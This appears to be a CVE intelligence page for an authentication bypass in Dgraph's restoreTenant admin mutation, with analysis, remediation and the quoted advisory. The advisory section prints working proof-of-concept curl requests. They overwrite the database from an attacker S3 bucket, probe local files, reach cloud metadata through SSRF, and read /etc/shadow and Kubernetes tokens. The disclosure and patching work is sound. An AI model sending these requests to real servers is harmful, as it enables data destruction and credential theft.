Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend unauthenticated GraphQL mutation
-
ExploitCall restoreTenant with malicious backup URL
-
ExecutionAccess local files via file:// protocol
-
ImpactOverwrite database or exfiltrate credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | restoreTenant GraphQL admin mutation must be exposed without authorization middleware in admin.go (lines 499-522). Requires network access to GraphQL endpoint; no authentication required. |
| Impact | This vulnerability represents critical real-world risk despite no EPSS or KEV data being provided in the analysis input. The CVSS 3.1 score of 10.0 with vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H accurately reflects maximum severity: network-accessible (AV:N), trivial exploitation requiring only HTTP POST with no credentials (AC:L, PR:N), no user interaction (UI:N), scope change enabling container/cluster compromise (S:C), and complete confidentiality/integrity/availability impact (C:H/I:H/A:H). The vulnerability is immediately exploitable with publicly available exploit code in the advisory's proof-of-concept section, demonstrating working attacks against dgraph/dgraph:latest Docker images. Attack complexity is minimal-standard curl commands with no special tools required. The authorization bypass affects ALL admin API endpoints exposed on default port 8080, requiring no authentication headers, JWT tokens, or IP whitelisting bypass. Real-world impact is severe across multiple attack vectors: (1) Database integrity destruction via malicious backup restoration overwrites entire namespaces, (2) Confidential data exfiltration through file:// URI reads of /etc/passwd, /etc/shadow, Kubernetes service account tokens at /var/run/secrets/, (3) SSRF enabling cloud metadata theft (169.254.169.254 probes confirmed), internal service enumeration via Vault endpoint manipulation, and lateral movement in Kubernetes/Docker environments. The tags confirm deployment contexts (Docker, Kubernetes, Hashicorp Vault integration) where these attack chains are viable. Affected versions span v24.x and v25.x through v25.3.0, indicating widespread exposure in production deployments. Remediation requires immediate patching as no effective workaround exists-disabling the admin API blocks legitimate operations. This is a true critical-priority vulnerability demanding emergency response, not a theoretical high-CVSS issue. |
| Exploit ScenarioDerived | An attacker sends a crafted GraphQL restoreTenant mutation over the network without credentials, specifying a file:// URL to read /etc/passwd or an S3 URL with attacker-controlled credentials to overwrite the application database entirely, achieving complete system compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks against Dgraph graph database servers (v24.x, v25.x prior to v25.3.1) via the admin API's restoreTenant mutation. The mutation bypasses all authentication middleware due to missing authorization configuration, allowing attackers to provide arbitrary backup source URLs (including file:// schemes for local filesystem access), S3/MinIO credentials, Vault configuration paths, and encry
Earlier versions of this analysis (1)
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks against Dgraph graph database servers (v24.x, v25.x prior to v25.3.1) via the admin API's restoreTenant mutation. The mutation bypasses all authentication middleware due to missing authorization configuration, allowing attackers to provide arbitrary backup source URLs (including file:// schemes for local filesystem access), S3/MinIO credentials, Vault configuration paths, and encryption key file paths. Live exploitation confirmed in Docker deployments. Vendor-released patch available in v25.3.1 (commit b15c87e9).
RemediationAI
Immediately upgrade to Dgraph v25.3.1 or later, released at https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1, which includes commit b15c87e9353e36618bf8e0df3bd945c0ce7105ef adding restoreTenant to the adminMutationMWConfig map with gogMutMWs middleware enforcement. For Docker deployments, update image tags to dgraph/dgraph:v25.3.1 and restart alpha nodes. Kubernetes users should update Helm charts or StatefulSet manifests to reference the patched version and perform rolling updates. No configuration changes are required beyond version upgrade-the fix automatically enforces Guardian-of-Galaxy authentication, IP whitelisting, and audit logging for restor
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 5 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dgraph is a distributed graph database written in Go (github.com/dgraph-io/dgraph). The admin GraphQL API implements tenant restore functionality through the restoreTenant mutation, which should require Guardian-of-Galaxy authentication (gogMutMWs middleware) similar to the restore mutation. However, the adminMutationMWConfig map at admin.go:499-522 omits restoreTenant entirely. During middleware resolution (resolve/resolver.go:431), the lookup returns nil, and the Then() method at resolve/middlewares.go:98 detects len(mws)==0 and returns the resolver directly, completely bypassing authentication, IP whitelisting, and audit logging. The root cause is CWE-862 (Missing Authorization), where a privileged operation was inadvertently exposed without access control. The mutation accepts RestoreInput parameters including location (URI), accessKey/secretKey (S3 credentials), vaultAddr/vaultRoleIDFile/vaultSecretIDFile (Vault config), and encryptionKeyFile paths. The backup handler (backup_handler.go) supports file://, s3://, and minio:// URI schemes, creating fileHandler (lines 130-132) or S3/MinioClient instances (line 257) that perform direct filesystem or network operations. The fileHandler.Read method (line 153) executes os.ReadFile on attacker-controlled paths, while ListPaths (lines 161-166) walks local directories. The restore workflow (online_restore.go:98-106, admin/restore.go:54-74) passes user input directly to worker.ProcessRestoreRequest without validation, enabling path traversal and SSRF.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
Authentication Bypass
Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.
When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
PoC 1: Pre-Auth Database Overwrite
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }'
Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).
The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:
mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } }
Live PoC Results (Dgraph v24.x Docker)
Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:
restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}
restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
/etc/(exists): "No backups with the specified backup ID" (directory scanned)/nonexistent/(doesn't exist): "The uri path doesn't exists" (path doesn't exist)/tmp/(exists, empty): "No backups with the specified backup ID" (directory scanned)
PoC 2: Local Filesystem Probe via file:// Scheme
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }'
Error response reveals whether /etc/ exists and its structure.
backup_handler.go:130-132 creates a fileHandler for file:// URIs.
fileHandler.ListPaths at line 161-166 walks the local filesystem.
fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))
PoC 3: SSRF via S3 Endpoint
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }'
The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
Error response may leak cloud metadata information.
PoC 4: Vault SSRF + Server File Path Read
curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }'
vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag
Fix
Add restoreTenant to adminMutationMWConfig:
"restoreTenant": gogMutMWs,
Koda Reef
Executive ViewAI
Dgraph graph database versions 24.x and 25.x prior to 25.3.1 contain a critical vulnerability allowing unauthenticated remote attackers to overwrite databases, read server files, and execute server-side request forgery attacks through an unprotected admin API endpoint. Organizations running affected Dgraph instances face immediate risk of complete data loss, credential theft, and lateral network compromise. Exploitation requires no authentication or special privileges and has been confirmed active in production Docker environments.
Apply vendor patch to v25.3.1 or later. Interim mitigations if immediate patching delayed: (1) Disable or restrict network access to the admin API endpoint (typically port 8080) to trusted internal IPs only via firewall rules; (2) Implement reverse proxy authentication in front of Dgraph with mandatory mutual TLS and API key validation; (3) Monitor access logs for POST requests to the restoreTenant mutation endpoint and block suspicious requests; (4) Isolate Dgraph instances on separate network segments with egress controls to prevent SSRF attacks to internal resources or cloud metadata services.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-19360
GHSA-p5rh-vmhp-gvcw
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB